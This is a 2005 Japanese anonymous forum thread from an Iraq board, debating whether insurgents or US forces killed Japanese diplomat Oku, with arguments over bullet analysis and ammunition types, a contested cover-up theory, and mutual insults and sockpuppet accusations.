**国連な成しさん** · 05/06/30 22:20

米軍以上のアホはイラクにはいないなｗ

**国連な成しさん** · 05/06/30 22:22

>>71
まあ、強いていうなら両方アホなわけだが、
お前以上のアホというか愚か者もいないと思う。

**国連な成しさん** · 05/06/30 22:34

思うだけかｗ

**国連な成しさん** · 05/06/30 22:39

>>73
じゃあ断定しておくよ。
自分で職につけなかったお馬鹿さん♪

**国連な成しさん** · 05/06/30 22:43

なんだ信濃粘着かよw

**国連な成しさん** · 05/06/30 23:03

>>75
ＩＤ出してどうしたの信濃？
ID丸だしで自演したのがバレたトラウマからずっと下げてたのに、
そんなことも忘れたの？

**国連な成しさん** · 05/06/30 23:08

>>70
>逃げること以外に大して統制とれてないみたい
外務省上村氏が調査したとされる報告書の目撃情報によれば
「後方から銃撃しながら接近」し
「前方、側面を合計4台ほどで取り囲み」、「ケブラーヘルメットをかぶった」武装グループが
「前方、及び側面から」「AK及びAKMを用いて」銃撃したとあるが
相当周到に計画されてるみたいだな

突発的襲撃として知られる橋田さんのときのような荒々しさはない

**国連な成しさん** · 05/06/30 23:09

>>76
なんかあったのか？

**国連な成しさん** · 05/06/30 23:13

>>77
信濃粘着に言っても無駄だって

**国連な成しさん** · 05/06/30 23:14

>>78
もしかして信濃粘着しらないの？

**国連な成しさん** · 05/06/30 23:17

>>80
>信濃粘着
田中康夫関連？
あんまり興味ない
ﾏｶ夫とか梅夫とかGKみたいなもんか？

**国連な成しさん** · 05/06/30 23:18

>>77
ブラジャーの中に無線機隠して政府軍将校の娼婦させてたような、
ベトナム戦争の北軍の統制とは比べようもないものだろう。
せいぜい、『普通』といったところか。

**国連な成しさん** · 05/06/30 23:19

>>75,76,79,80
流れ的には自作自演か
で、どっちが信濃粘着って設定なんですか？

**国連な成しさん** · 05/06/30 23:22

>>83
余程の初心者か確信犯でない限り、その質問はしない方がいいぞ。
どっちも自分に都合のいいことを言うだろうことくらい、簡単にわかるしな。
大抵の場合、質問に釣られる奴が悪者だったりするわけだが。

**国連な成しさん** · 05/06/30 23:23

>>82
>ブラジャーの中に無線機隠して政府軍将校の娼婦させてたような、
>ベトナム戦争の北軍の統制とは比べようもないものだろう。
それは、「統制がとれてる」の例ではないな
やり直し
4台で分乗し獲物を見るやポジションを確保。
野盜にしては大掛かり過ぎ
後方から150kmで走行する４WDに銃撃しながら接近し
4台で取り囲むという流れが現実的ではない

**国連な成しさん** · 05/06/30 23:26

>>81
まーだいたいそんな感じ
「信濃国民」ってコテハン（この人は厨じゃないよ）
に粘着してて、誰が書いても「おまえ信濃国民だろ」とか書いてくるうざい厨
オレにレス返してきた>>72 >>74 >>76それにおそらく>>70が信濃粘着

**国連な成しさん** · 05/06/30 23:30

>>86
了解
ま、スレ汚しみたいだからマジレスして清掃するのはマズいのね

誘導 · 05/06/30 23:33

当板では、高遠さん関連のスレは、自治スレでの話し合いにより、
ひとつしか認められていません。

このスレも、高遠スレに変質したと判断します。

このスレには、削除依頼が出ています。

【信濃】　高遠のﾎﾞﾗﾝﾃﾘｱ35　【アンチ信濃】
http://sports2.2ch.net/test/read.cgi/iraq/1120056794/

もしくはその後継スレに、合流してください。

**国連な成しさん** · 05/06/30 23:33

>>85
イラクの武装勢力は誤射が多い。
また、民間人を殺したり武装勢力同士で反目しあうなど問題も多い。
ベトナムの場合は少数の精神的精神的指導者が全軍を完璧に統率できる状態にあったが、
イラクの場合は様々な勢力が好き勝手に作戦を立てて行動しているという状態。
プロパガンダのために人的資源を浪費したり、無理に正面から戦って被害を増大させたりと、
多少は効果があるだろうが致命的な攻勢をかけることができていない。
逃げ足だけは一流なわけだが。

**国連な成しさん** · 05/06/30 23:34

>>88
>高遠スレに変質したと判断します
ご勝手にどうぞ
ｽﾚ汚しは消えてください

**国連な成しさん** · 05/06/30 23:34

>>87
イマ　コウバシイ　ジエンヲミマシタ

**国連な成しさん** · 05/06/30 23:37

イラク板はヘンな人も結構来るからスルーして自説を展開しちゃって
下さいQ1vvGCio さん

**国連な成しさん** · 05/06/30 23:38

ID:cZX4IvE.は議論しないのか？

**国連な成しさん** · 05/06/30 23:39

>>89
>イラクの武装勢力は誤射が多い。
いや、狙ってるなら誤射ではないだろ
誤射が多いのは米軍だぜ
この事件の前にも伊外交官誤射して運転手殺したしな

**国連な成しさん** · 05/06/30 23:41

オレは奥大使殺害事件の詳細は知らないから議論できない。
アメ軍（というか司令部？）がアホなのは関係なく言える。
ベトナムで失敗して学んでないんだからアホだろ

**国連な成しさん** · 05/06/30 23:41

>>91
IDが見えてない？

**国連な成しさん** · 05/06/30 23:44

>>94
情報公開してる国家と、全くそうでない対象を同列に比較しているわけだね。
＞誤射が多いのは米軍だぜ
こうわかるのも情報公開しているからだろ？
米軍や警察などを狙った攻撃（あえてテロとは書かない）で、全く関係ない無辜の民が何人殺されていると思う？
武装勢力が市街戦になったとき、どれくらい多く民間人を巻き込んで射撃しているかわかるか？
ＲＰＧを撃つとき、背後に人や壁があると重傷を負うということ知ってる？
次元の違う話を一方的に比較するのはやめな。

**国連な成しさん** · 05/06/30 23:48

>>97
確かに、知られてないから事実ナシってことにはならんよなぁ。
大怪我を負った武装勢力が民間人として病院で死ぬこともいっぱいあるだろうしね。

**国連な成しさん** · 05/07/01 00:04

>>97
>こうわかるのも情報公開しているからだろ？
残念ですね、情報公開できるのは生存者が居るときだけです。
情報公開によって誤射が明らかになったものは、「すべて」生存者が居ます
奥さんの場合、全員死亡ですよ
>米軍や警察などを狙った攻撃（あえてテロとは書かない）で、全く関係ない無辜の民が何人殺されていると思う？
米軍を狙ってるだけじゃないだろ。受け入れた人間や協力者の抹殺もあると思うが？
これには混乱した米兵の射撃による無辜の民の被害者も含まれているし
PMCの無差別射撃による無辜の民の被害者も含まれているね
>武装勢力が市街戦になったとき、どれくらい多く民間人を巻き込んで射撃しているかわかるか？
文脈上関係ない話ばかりですね
>ＲＰＧを撃つとき、背後に人や壁があると重傷を負うということ知ってる？
無反動砲みたいなの話か？
あからさまに関係ない話振るのは詭弁です

**国連な成しさん** · 05/07/01 00:12

>>99
>情報公開できるのは生存者が居るときだけ
あとは、報道陣が同行しているときだろ

**国連な成しさん** · 05/07/01 00:17

>>99
ようするにお前は、陰謀論を正当化するためには何でも否定しなけりゃ気が済まないタマか。
議論の場にはこないほうがいいよ。
というか自演すんな。

**国連な成しさん** · 05/07/01 00:22

また信濃の自演か…。
以後放置で。

**国連な成しさん** · 05/07/01 00:22

>>99
そういや君、軍板でホロコーストスレ立ててたニラ君じゃないよね？

**国連な成しさん** · 05/07/01 00:25

>>101
>自演
お前自身だろ
簡単に否定される材料しか持って来ないからだろ
そういえば、米軍死者の中にPMC社員が入っていないのと同様に
米軍誤射の中にはPMCの誤射は含まれていない
PMCってのはブラックウォーター事件のときの惨状のように地元民から強烈な恨みを買ってる
理由は誤射自体が多いことと、誤射があっても誰も裁けないから
つまり、PMCが見境無く乱射する可能性は否定できない

**国連な成しさん** · 05/07/01 00:30

彼は淋しいんだよ。
わかってやれ。

**国連な成しさん** · 05/07/01 02:54

■テレビのディレクター死亡　バグダッドで米兵が銃撃

　ＡＰ通信によると、イラクの首都バグダッドで２８日、地元テレビ局「アッシャルキーヤ」のディレクター、バクリ氏が米軍の車列に近づき、米兵の銃撃を受けて死亡した。この１週間にバグダッド周辺で米軍に殺害された報道関係者はこれで３人目となった。
　同局は、バクリ氏が交通事故現場を通り過ぎようとした際、米軍に気付かなかったため、撃たれたと説明。米軍は事件の報告がないとしている。
　国際ジャーナリスト組織「国境なき記者団」（本部パリ）は米軍などに事件の調査を要求した。
　バグダッドでは２４日にも、米系報道機関で働くイラク人記者が米兵に殺害された。米部隊の警告に応じなかったためとみられる。
　また２６日には、地元テレビ局で働く女性記者が、米軍が武装勢力に反撃した際に、撃たれて死亡した。（共同通信）
ttp://headlines.yahoo.co.jp/hl?a=20050629-00000242-kyodo-int

**国連な成しさん** · 05/07/01 15:57

>文脈上ｿｰｽは関係ないだろ
>隠蔽工作とはそういうものだ、と書いてる訳

それじゃ典型的な陰謀廚になっちゃうよ。基本的に議論に陰謀論をだすべきじゃない。
決定的な証拠がでないかぎり陰謀論を言う人は相手にされない。陰謀論者では有名な田中宇ですら、
朝まで生テレビでほとんど嘲笑されていた。
なぜならソースが無いから。たとえば>>50から>>60あたりで繰り広げられていた論争自体には意味がある。
けれども誤射派の人でも米軍が誤射したという決定的な証拠は見つけていない。
米軍でも可能だったという仮説をあげるにとどまっている。仮説には意味がある。
なぜなら、米軍車両からでも水平に打ち込むことはできるよと。という可能な仮説をあげているからだ。
けれども、韓国人のは隠蔽工作だったとか民間軍事会社が乱射しているとかはあくまであなた個人の考えに過ぎない。
考えとして言うならいいが、それを事実として信じているのは痛すぎる。

真珠湾攻撃陰謀論が根強く存在するが、決定的な証拠がでないかぎり、誰もそれを事実としては認めない。
どんな戦史研究家も。陰謀論を決定的証拠がでてこないかぎり事実として話すのは無理がある。

それにわずかな利益のために友好国の外交官を攻撃したことなんて世界諜報史でほとんどないぞ。
イラクの公共事業の利益くらいで、外交官を暗殺するなんて思っている時点で、メディアリテラシー能力がない。

**国連な成しさん** · 05/07/01 18:12

>>107
>それじゃ典型的な陰謀廚になっちゃうよ
隠蔽工作があったとしてその存在が明らかになってしまうと隠蔽工作にはならないねw
だからその部分にｿｰｽが存在し得っこないんだよ
それに韓国人技師たちの件では容疑者拘束と言う報道があったんだが
実は続報もない（人数も素性も不明）
この事実からは、「犯人が地元民である」とする印象操作を疑うべきだが
韓国人技師襲撃犯が国籍及び人数が最終的に判明しているならｿｰｽくれ
ましてや、奥さんの事件と関係があるとするｿｰｽがあるのならな

>真珠湾
米海軍資料館で文書が公開済みみたいだが

>友好国の外交官
あとね、奥さんは、CPA出向の身にありながら戦後復興は国連が主導で多国籍軍の枠にとらわれないものをすべきだ、という主張だったんだよ（月刊外交フォーラムの遺稿より）
当然のように自衛隊派遣のメドが立ってない日本にも復興支援を行う権利があると考えていたし、その考えに沿ってのベクテル社との攻防だった訳
即ち、莫大な予算が動く復興支援に多国籍軍に参加しなかった仏ですら組み込もうとしてきたし、
同様の考えにあったデメロ国連大使が爆死した後もそれは変わらなかった（月刊外交フォーラムの遺稿より）
この点でCPAと考え方にズレが生じているのは、その後の独仏締め出しを見れば明らか。
従って、奥さんが生きてるうちは、巨額の戦後復興利権は、米英の独占はあり得ないわけ
当然、CPA内に同様の考えを持った外交官が居た可能性も有り、そういった勢力の封じ込めに奥さんが殺された可能性は高い

**国連な成しさん** · 05/07/01 18:20

>>107
>それを事実として信じているのは痛すぎる
俺は、外務省が作成した報告書に矛盾点があり、その根拠となったとされる米軍の報告書が存在しない
つまり外務省の発表が事実であるとする根拠がないし
公安の調査方法（弾道の割り出し方法）が全く不明である事実
襲撃車両の座面の隠蔽
見つかった銃弾の総量の矛盾
薬莢が全く見つからなかった矛盾（カートキャッチャーはAKでは不利であり、また一般性がなく矛盾が生じる）
米軍のパトロールの時刻と襲撃時刻の一致
奥さんの銃創の矛盾

等、米軍を疑うに十分すぎる矛盾点が生じている

**国連な成しさん** · 05/07/01 18:27

>>107
>米軍車両からでも水平に打ち込むことはできるよと。
それがそもそもの間違い
左側の弾痕が下8°か水平に撃たれたものであるのなら
奥さんたちの被弾数、箇所、車内の弾痕箇所に疑問が生じる
なぜ高い位置の貫通孔を形成した複数の銃弾がルーフ部からも抜けず（抜けたものは1発、公安の調査では天井部分に到達した銃弾はなかったとされる）、そして右側にも到達せず奥さんの被弾数より多いのか？
これを地元武装勢力のものであるとする者の誰もが説明できていない

これを説明するとすれば、襲撃された車両の座面の確認が前提となる

**国連な成しさん** · 05/07/01 18:41

謎があったな
弾痕の中で、一つ極端に低い箇所のものがあって、公安もそれは除外して調べたんだが
米軍の誤射であるとすれば、それがﾀｲﾔを狙ったものと推測できる
これは前面エンジンルームについているものと合わせれば、警告射撃によるものと考えれば
後方から接近してきた武装勢力説には矛盾が生じるね

**国連な成しさん** · 05/07/01 19:33

>隠蔽工作があったとしてその存在が明らかになってしまうと隠蔽工作にはならないねw
>だからその部分にｿｰｽが存在し得っこないんだよ
ばれてしまう隠蔽工作もあると思うんだが。隠蔽工作の証拠は証拠がないことだ？とでもいうつもり？
陰謀はとても巧妙におこなわれていて証拠が見つからないってのは典型的な陰謀論者の意見だよ。

>この事実からは、「犯人が地元民である」とする印象操作を疑うべきだが
そこで論理が飛躍しすぎだろ。というか拘束したというソース事態私は聞いていない。
それに本当に隠蔽なら、うそでもでっち上げでも適当に捕まえたゲリラを犯人にするでしょ。
>韓国人技師襲撃犯が国籍及び人数が最終的に判明しているならｿｰｽくれ
悪魔の証明までいいだしましたか。韓国人技師は襲われたが、けっきょく犯人などを恐ろしくてはっきり見れていないといってます。
すくなくとも米軍車両でなかったことはあきらかですが。

>米海軍資料館で文書が公開済みみたいだが
陰謀論を決定付ける文書なら大事件ですが・・・・。どういう文書？

>あとね、奥さんは、CPA出向の身にありながら戦後復興は国連が主導で多国籍軍の枠にとらわれないものをすべきだ、という主張だったんだよ（月刊外交フォーラムの遺稿より）
>当然のように自衛隊派遣のメドが立ってない日本にも復興支援を行う権利があると考えていたし、その考えに沿ってのベクテル社との攻防だった訳
意見の違い程度ならいくらでも外交関係では存在します。戦後復興を国連主導で、なんていってる奴はいくらでも存在します。
その程度で友好国の外交官を撃ち殺していては、フランスやドイツ、中国の外交官なんて全滅です。友好国の外交官を射殺するってのがばれたら政権転覆程度ではすみません。
日本のたかが一外交官（高位でもない）の意見くらいで射殺するなんてばかげてます。

**国連な成しさん** · 05/07/01 19:38

なかなか面白くなってきたね

**国連な成しさん** · 05/07/01 19:42

>弾痕の中で、一つ極端に低い箇所のものがあって、公安もそれは除外して調べたんだが
除外した根拠は？徹底的に調べているはずなのにわざと見過ごすなんてありえない。
>米軍の誤射であるとすれば、それがﾀｲﾔを狙ったものと推測できる
君は奥さんは暗殺だったといってたのではないの？民間軍事会社をやとった？警告射撃する必要も無いじゃないの？
それに別にテロリストでも、車の動きをとめようとしてタイヤに射撃していることは多々ありますが？

>これは前面エンジンルームについているものと合わせれば、警告射撃によるものと考えれば
>後方から接近してきた武装勢力説には矛盾が生じるね

水平で射撃されたってのが大概の見方になっていたはずですけど。
後方からいきなり射撃してきたとかいう報告あったけ・・・・。

それと銃弾の破片ならちゃんと分析してるんですけど。

>「銃器の種類は特定できなかった」としながらも、銃弾の破片とみられる金属片と、ロシア製自動小銃カラシニコフの銃弾について「銅や亜鉛のパーセンテージは若干違うが、成分は同じだ」と述べた。（共同通信４月５日）
特定こそできなかったが、ほとんどカラシニコフで決定という意味なんですが。米軍はＡＫなんぞ使っていません。銃弾までほぼ特定されても誤射といいきるのでしょうか？
ああ！！！わかった。民間軍事会社がカラシニコフで銃撃したんだね。

**国連な成しさん** · 05/07/01 19:49

ちなみに銅や亜鉛の成分は作った場所によって若干違います。
中国製のＡＫとロシア製のＡＫの弾も微妙に違うし。もちろん米軍の弾とは全然違います。

**国連な成しさん** · 05/07/01 19:56

>判明したのは7.62mmってだけで、NATO弾か否かは成分分析にまわされた
>で、結果はAKのものと矛盾しない（口頭で+議事録はあり）とされたが、一部一致しない物が出ている（曳光弾か？）し、AKありきなのでNATO弾との照合は行われていない

それと米軍歩兵が一番よく使っているM16は5.56ミリ弾だしなぁ。それにＡＫと矛盾しないってことはＮＡＴＯ弾じゃないってことだぞ。弾の成分は結構差がある。
どっちにせよ・・・。100パーセント誤射じゃないとも100パーセントテロリストだとも勿論言えません。
けれど自分の意見を補足するのに陰謀論をだすのはスマートじゃありません。それと別の銃の弾丸がでてきたところで、武装勢力は多種多様な銃を使ってます。カラシニコフだけではないでしょう。

結局、どれだけ議論しても100パーセントの断言にはならないでしょう。
けれども、ある程度の齟齬で外交官を殺害したり、隠蔽工作だといったりするのが駄目だといってるんですよ。

**国連な成しさん** · 05/07/01 20:39

WMD捏造とかアルカイダ支援捏造とか前科があるからね・・・
リットン調査団のようなものが必要だろう

**国連な成しさん** · 05/07/02 13:12

>>114
>除外した根拠は？徹底的に調べているはずなのにわざと見過ごすなんてありえない。
見過ごすも何も警察庁の担当者がそう言っちまった訳だが

**国連な成しさん** · 05/07/02 13:15

>>116
>それと米軍歩兵が一番よく使っているM16は5.56ミリ弾だしなぁ。それにＡＫと矛盾しないってことはＮＡＴＯ弾じゃないってことだぞ。弾の成分は結構差がある。
そのとおり
ただし、車載のものは、7.62mmのFN-MAGですよ
発射速度と弾痕数ともなんら不自然な点はない
成分分析については、NATO弾との照合が行われていないことと、AKのものと全く一致しないものがあったことも注意しろ

**国連な成しさん** · 05/07/02 13:19

>>114
>銅や亜鉛のパーセンテージは若干違うが、成分は同じだ
あとな
7.62mmx51の成分についてだが
基本的に鉛と真鍮なんだけど、

真鍮は「銅と亜鉛の合金」なんだよ

「銅や亜鉛のパーセンテージは若干違うが、成分は同じだ」とするならNATO弾も照合を行うべきだがな
ま、合っちまうからやらなかったと考えるべきだなw

**国連な成しさん** · 05/07/02 13:26

>>112
>拘束したというソース事態私は聞いていない。
http://piri.junbi.net/modules/newbb/reply.php?forum=5&post_id=2762&topic_id=84&viewmode=flat&order=&PHPSESSID=b64f7043edb513608804bfd99774117a
2003年12月08日
外交官殺害：
２班で組織、周到な計画での犯行　イラクの州知事

　イラク北部ティクリート近郊で起きた日本人外交官殺害事件で、ティクリートを州都とするサラハディン州のフセイン・ジュブルト知事は７日、
犯行グループが「標的」の情報収集と攻撃実行のそれぞれの役割を分担する２班で組織され、周到に計画した上で犯行に及んだとの見方を明らかにした。

　また知事は、同事件の翌日に同じ幹線道路で発生した韓国人技師殺害事件の容疑者をイラク警察当局が７日までに拘束したことを明らかにした。

　知事は拘束日時や容疑者数など詳細を明らかにしていないが、州警察当局を監督する立場。捜査当局が外交官殺害事件解明の糸口となる情報を容疑者から得ている可能性もある。

　知事の発言内容は、事件が「周到に計画された殺人のプロの犯行」とするイラク暫定内閣のジバリ外相の見方と一致している。外相は旧フセイン政権下の情報機関、
総合情報局（ムハバラト）の犯行と言明、反米武装勢力などが日本人をソフト・ターゲットとして狙った可能性を強く示唆していた。

　バグダッドからティクリート、モスルに至る幹線道路「１号線」では、外国人らを中心に米軍主導のイラク復興支援関係者らを狙った事件が相次いでいる。（バグダッド共同）

［毎日新聞１２月８日］ ( 2003-12-08-12:10 )
元記事はもうない
ttp://headlines.yahoo.co.jp/hl?a=20031208-00000039-kyodo-int
続報も

**国連な成しさん** · 05/07/02 13:27

>>114
>水平で射撃されたってのが大概の見方になっていたはずですけど。
ﾄﾞｱの弾痕のみの位置関係から算出しただけですが
ガラス部分の弾痕から割り出しては居ない
>後方からいきなり射撃してきたとかいう報告あったけ・・・・
外務省の報告書参照のこと

**国連な成しさん** · 05/07/02 13:31

>>114
>水平で射撃されたってのが大概の見方になっていたはずですけど。
そうそう公開された車体の弾痕と右側の弾痕をガラスのもので結ぶと水平ではなくなります
斜め上方向から撃ち込まれていることになりますが
水平だとすると、奥さんの銃創の説明がつきませんので、仮説をよろしく
目撃情報では後部座席の男性は横にもうつぶせにもなってなかったと言うことですから注意してね
曲がる弾理論はDQN認定

**国連な成しさん** · 05/07/02 14:14

>>116
>ある程度の齟齬で外交官を殺害したり、隠蔽工作だといったりするのが駄目
ある程度の齟齬？
戦後復興の利権がいかなるものか理解してないんだね
もう何言っても、「戦後復興なんて利益上がらないだろ」とか平気で言いそうだな

**国連な成しさん** · 05/07/02 22:02

信濃にはブレットの話しても無駄だろうなぁ。
AKとMAGで同じ長さの弾頭使ってるとか信じてそうだしなぁ。

**国連な成しさん** · 05/07/02 22:16

>>125
>AKとMAGで同じ長さの弾頭使ってるとか
残念なことに、車内から臨時大使である上村氏が見つけた（ほぼ原形をとどめているとされる）銃弾は
「完全に砕け散っているわけではない」ということであり、また変形しており、
外見上、AKの7.62mmx39の銃弾なのか7.62mmx51の銃弾なのかは不明で、公安部含めどこも判断を下しておりません
すなわち、銃弾の長さは、使われた銃弾の特定には繋がらなかったと言うことですよ

つまり、君のレスは的外れなんだけど

**国連な成しさん** · 05/07/02 22:19

変形していても弾頭重量でわかる。

**国連な成しさん** · 05/07/02 22:23

えっーときりが無いので射撃の分析結果についてはもうこれで終わりにしましょうよ。
どっちにとても、私と誤射さん（って勝手に名前付けてごめんなさい）双方を満足させる結果はでないでしょう。
ではとりあえず最後に弾薬について誤射さんは根本的に完全に間違っているというかわかっていないところがあるので。

>ただし、車載のものは、7.62mmのFN-MAGですよ
>>125さんがいってるように、同じ7.62ミリでもＭＡＧとアサルトライフルであるＡＫでは大きさから違います・・・。長さってことね。
そして弾丸からは、ＭＡＧで打ったものは発見されていません。ほとんどカラシニコフの弾と同じ大きさなんですけど・・・。
口径さえ同じならＭＡＧやＡＫでも同じ弾使っていると思っていませんか？
>発射速度と弾痕数ともなんら不自然な点はない
車載機関銃ならあんな程度の穴ではすみません。車がバラバラになっても不思議なし。アサルトライフルと機関銃じゃ全然違うんですよ。
>成分分析については、NATO弾との照合が行われていないことと、AKのものと全く一致しないものがあったことも注意しろ。
・・・・。成分分析ってどうやっているか知らないんですね・・・・。
簡単に説明しますよ。金属の保有量などのバランスを調べるのが基本です。
んで、亜鉛や鉛や真鍮の比率を各弾丸の弾と比較するわけです。おそらく、一覧表やデータベースを持っているでしょう。
それで、その比率で一番近いものがカラシニコフの弾だったわけです。
ようするに比率計算でどれが一番近いかを調べるわけでして、その比率を照らし合わせる時に当然ＮＡＴＯ弾も比較対照にははいっているでしょう。

弾丸の成分分析は「この比率はカラシニコフか？YESかNOか。」ではなく、この比率はどの弾丸が一番近いかで分析します。銃マニアさんなら常識です。
よってＮＡＴＯ弾と照合してないは妄想です。
車載機関銃ではないのはさらに明白です。成分がまったくといっていほど違うし、はっきりいって大きさだけでわかっちゃう。
ちなみにゲリラは多数の国の武器を所有しているので違う弾丸がでてきても全然不思議じゃないです。

結局、米軍が使っている弾丸は全然見つからなかったことになります。

**国連な成しさん** · 05/07/02 22:25

>「完全に砕け散っているわけではない」ということであり、また変形しており、
重量でもわかるし、一部でも形がのこっていれば素人でもみわけがつきますよ。
おまけに分析にまわせば一発。
ソースとして世界中の新聞で米軍仕様の弾丸がはっけんされたとしたソースは絶対にありません。

**国連な成しさん** · 05/07/02 22:28

>ある程度の齟齬？
>戦後復興の利権がいかなるものか理解してないんだね
>もう何言っても、「戦後復興なんて利益上がらないだろ」とか平気で言いそうだな

ならいままで米国が友好国の外交官を殺害した事例をあげてみてください。
基本的に政権の浮沈に関わることです。いきなり暗殺なんてありえないでしょう。
まず、もしやるとしても日本政府に圧力をかけるのでは？

**国連な成しさん** · 05/07/02 22:32

まーた、論破されたからって話を逸らす。
お前の悪い癖だよ、信濃。

**国連な成しさん** · 05/07/02 22:33

ごめ、>>131は誤爆

**国連な成しさん** · 05/07/02 22:34

良スレを荒らすな粘着
信濃スレに帰れ

**国連な成しさん** · 05/07/02 22:36

信濃さん信濃さんってレッテル貼りしてる人は返ってくれ。
誤射さんは話はちゃんとできる人だよ。

**国連な成しさん** · 05/07/02 22:36

>>128
>同じ7.62ミリでもＭＡＧとアサルトライフルであるＡＫでは大きさから違います・・・。長さってことね。
>そして弾丸からは、ＭＡＧで打ったものは発見されていません。ほとんどカラシニコフの弾と同じ大きさなんですけど・・・。
一言言って良いか？おれも7.62mmのNATO弾とAKのとを写真のものと比較したが断言できるものじゃなかったぜ
ほとんどカラシニコフの弾やNATO弾と同じ大きさなんですけど・・・
お前、弾頭見たことないんだろ？
>口径さえ同じならＭＡＧやＡＫでも同じ弾使っていると思っていませんか？
それはない。不審点があるだけ
>車載機関銃ならあんな程度の穴ではすみません。車がバラバラになっても不思議なし。アサルトライフルと機関銃じゃ全然違うんですよ。
お前、50口径やTOWと混同してないか？
各種報道写真を見ても7.62mmFNMAG搭載のHMMWVなんて散々出てきているだろ
まさか7.62mmで掃射して5秒足らずで車体がバラバラになると思ってるのかい？wなら銃器ｵﾀ失格だな

>簡単に説明しますよ。金属の保有量などのバランスを調べるのが基本です。
>んで、亜鉛や鉛や真鍮の比率を各弾丸の弾と比較するわけです。おそらく、一覧表やデータベースを持っているでしょう。
>それで、その比率で一番近いものがカラシニコフの弾だったわけです。
>ようするに比率計算でどれが一番近いかを調べるわけでして、その比率を照らし合わせる時に当然ＮＡＴＯ弾も比較対照にははいっているでしょう。
最終的論拠は憶測ですか。

>弾丸の成分分析は「この比率はカラシニコフか？YESかNOか。」ではなく、この比率はどの弾丸が一番近いかで分析します。銃マニアさんなら常識です。
>よってＮＡＴＯ弾と照合してないは妄想です。
それが妄想です。成分がAと矛盾しない、というのは、すべての試料と比較しその中でAとは矛盾ｂｵない、とは同給`ではない。
>車載機関銃ではないのはさらに明白です。成分がまったくといっていほど違うし、はっきりいって大きさだけでわかっちゃう。
違うと言うならｿｰｽをだしてくださいな。簡単だろ
あと成分が全く一致しないものも出ているんだが、見解を聞かせてほしい（俺は曳光弾かなと思ってる）

**国連な成しさん** · 05/07/02 22:40

誤射派は弾頭重量のソース出してみろ。
同じということを証明してみれ。

**国連な成しさん** · 05/07/02 22:41

>>130
>ならいままで米国が友好国の外交官を殺害した事例をあげてみてください。
>基本的に政権の浮沈に関わることです。いきなり暗殺なんてありえないでしょう。
>まず、もしやるとしても日本政府に圧力をかけるのでは？
政府高官や大使と勘違いしてないか？
奥は当時は参事官だぜ、駒
ただし、CPAに出向の、という
CPA内で戦後復興利権を有志連合以外の国にもシェアしろとデメロ国連大使の爆死後も主張している人間が居れば
疎ましく思われるのは想像に難くない

**国連な成しさん** · 05/07/02 22:42

>>129
>重量でもわかるし、一部でも形がのこっていれば素人でもみわけがつきますよ。
見分けがつかない素人がそう主張している訳な

**国連な成しさん** · 05/07/02 22:45

>>137
>政府高官や大使と勘違いしてないか？
>奥は当時は参事官だぜ、駒
「二階級特進」で「大使」になったんだよねw

**国連な成しさん** · 05/07/02 22:46

>>136
>誤射派は弾頭重量のソース出してみろ。
そもそも見つかった銃弾から重量を基にAKないしはNATOのものとしている報告書がない以上、
出しても意味無いよ

まあ、NATOとは成分が一致しないなら、ｿｰｽくれって
なんか見つかんないけどね、NATOの成分表

**国連な成しさん** · 05/07/02 22:47

AKは400メートル程度の射距離で運用することを前提に設計されていて、車載機関銃ではこれが1000近くになる。
弾頭が軽いと横風の影響を受けやすいだけでなく、速度の減衰も大きくなるため、長距離の射撃には向かない。
したがって、AKとMAGの弾丸の弾頭重量にはかなりの差がある。
鉛に被甲した弾丸が全てちぎれたり砕けたりすることはないため、弾頭重量をはかれば弾丸の種類がわかることになる。

**国連な成しさん** · 05/07/02 22:49

>一言言って良いか？おれも7.62mmのNATO弾とAKのとを写真のものと比較したが断言できるものじゃなかったぜ
>ほとんどカラシニコフの弾やNATO弾と同じ大きさなんですけど・・・
私がいってるのは車載機関銃の7.62ミリとAKなんですが・・・。マジみてわからない？長さから違うんだよ。

>それはない。不審点があるだけ
あるならなんで7.62ミリでいっしょだろ。みたいな言い方を前レスでしたんですか？

>最終的論拠は憶測ですか。
憶測じゃなくて、成分分析の基本なんですけど。リストの中から一番似ているのを探すってのは弾薬だけじゃなくて、大抵の科学でも常識ですよね。
カラシニコフに似ているってのはそれに一番近いってことです。理系の人じゃないからわかんないかもしれないけど・・・。

>それが妄想です。成分がAと矛盾しない、というのは、すべての試料と比較しその中でAとは矛盾しない、とは同義ではない。
?????さっぱりわけわかんないんですが。オレンジジュースの成分分析をするとして、フロリダ産のオレンジに一番近い値がでれば、それはフロリダ産オレンジと分析するのが打倒でしょう。
比較対照にやたらそっくりな成分のものがいたとしたら別だけどＮＡＴＯ弾とＡＫの弾は成分では全然違うんですが？
第一ＮＡＴＯ弾との照合をまったくしてないなんてどこのソースもいってない。
「成分がＡＫのものに一番近かった」ってことだし。

>あと成分が全く一致しないものも出ているんだが、見解を聞かせてほしい（俺は曳光弾かなと思ってる）
曳光弾もあるし、テロリストの武器ってのは片っ端から集めてあるのが普通なんで、ＡＫ以外の武器や、正規の弾薬でないものもあるだろうし。

**国連な成しさん** · 05/07/02 22:49

旧ソ連製の弾薬だと水銀ベースの信管使うから、どうしても微量の水銀がつくんだよな。
使われた弾丸が中国あるいは自国生産ならそんなことはないわけだが。

**国連な成しさん** · 05/07/02 22:50

>>141
>車載機関銃ではこれが1000近くになる
FN MAGの有効射程距離は500mなんだけどさw

**国連な成しさん** · 05/07/02 22:50

写真みたなら晒せばいいじゃん。

**国連な成しさん** · 05/07/02 22:54

>まあ、NATOとは成分が一致しないなら、ｿｰｽくれって
>なんか見つかんないけどね、NATOの成分表

成分表のソースなんてきっと専門誌くらいしかないわな。
分析結果発表で「ＡＫに一番近い」とプロがいってんだからそれを信じるしかない。
ちなみにガンマニアから言わせてもらうと東側の弾と西側の弾は全然違って当たり前。
いっしょだったら怖い（笑）それに見分けがつかないほどいっしょだったらいままで弾丸分析なんてできないよ。
冷戦期からいくらでも分析できてるんだから問題なかろう？

**国連な成しさん** · 05/07/02 22:56

>>142
>マジみてわからない？長さから違うんだよ
目視で区別がつくのは「カートリッジ長」だろw
銃弾だけでは変形してる以上区別はつきません
って、わからないか

>理系の人じゃないからわかんないかもしれないけど・・・
いや、理系だから言ってんだけど
理系なら、他の成分表も出して、その上で一致するものを提示するんだよ
でないと、自分の都合に合わないものは最初から除外できて不当な考察になってしまうからな

まあ、勉強してくれや

**国連な成しさん** · 05/07/02 22:56

>>144
有効射程と最大射程の区別もできない馬鹿ですか？
だいいちそれは分隊機関銃の方だろ。
車載機関銃は銃身が重く長いので、有効射程および最大射程が伸びる。
連続射撃の場合は１０００メートル程度の長距離で射撃することも珍しくない。

**国連な成しさん** · 05/07/02 22:56

>FN MAGの有効射程距離は500mなんだけどさw
